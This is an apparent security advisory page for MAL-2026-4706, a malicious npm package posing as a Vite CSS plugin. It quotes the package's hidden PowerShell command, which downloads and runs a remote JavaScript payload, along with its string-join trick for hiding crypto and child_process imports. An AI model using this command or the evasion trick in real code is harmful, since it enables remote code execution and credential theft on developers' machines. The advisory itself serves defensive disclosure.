# MAL-2026-4706: Malicious code in vite-plugin-css-blend (npm)


- **Type:** Malicious package
- **Package:** `vite-plugin-css-blend` (npm)
- **Published:** 24 May 2026

## What is MAL-2026-4706?

MAL-2026-4706 is a malicious package in vite-plugin-css-blend, published on 24 May 2026. 

### Official description

The package is published as a Vite CSS plugin but exposes no Vite plugin API. Its documented `applyGlobalStyles({palette, accents})` export, when called on Windows, treats the caller-supplied `accents` and `palette` strings as an AES-256-CBC IV and ciphertext, decrypts them with a hardcoded key, and spawns `powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js"` — fetching and executing an attacker-controlled JavaScript payload via Node. The `node:crypto` and `node:child_process` modules are imported via string-array join (`["no","de",":","cry","pto"].join("")`, `["no","de",":","chi","ld","_pro","cess"].join("")`) to evade static import detection. The package further ships ~200 numbered no-op exports (e.g., `isWithinBoundary1..200`, `applyPreset1..150`, `createSequenceStep1..250`) as filler to camouflage the malicious export among legitimate-looking utilities, and its name baits developers searching the Vite ecosystem. Any consumer following the documented API on a Windows host triggers download-and-execute of arbitrary remote code.

## What should I do about MAL-2026-4706?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4706 is a malicious package: vite-plugin-css-blend (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4706/ (Markdown: https://insights.sbomify.com/MAL-2026-4706/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4706

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4706/
Summaries are generated and may contain mistakes; the official description above is the record.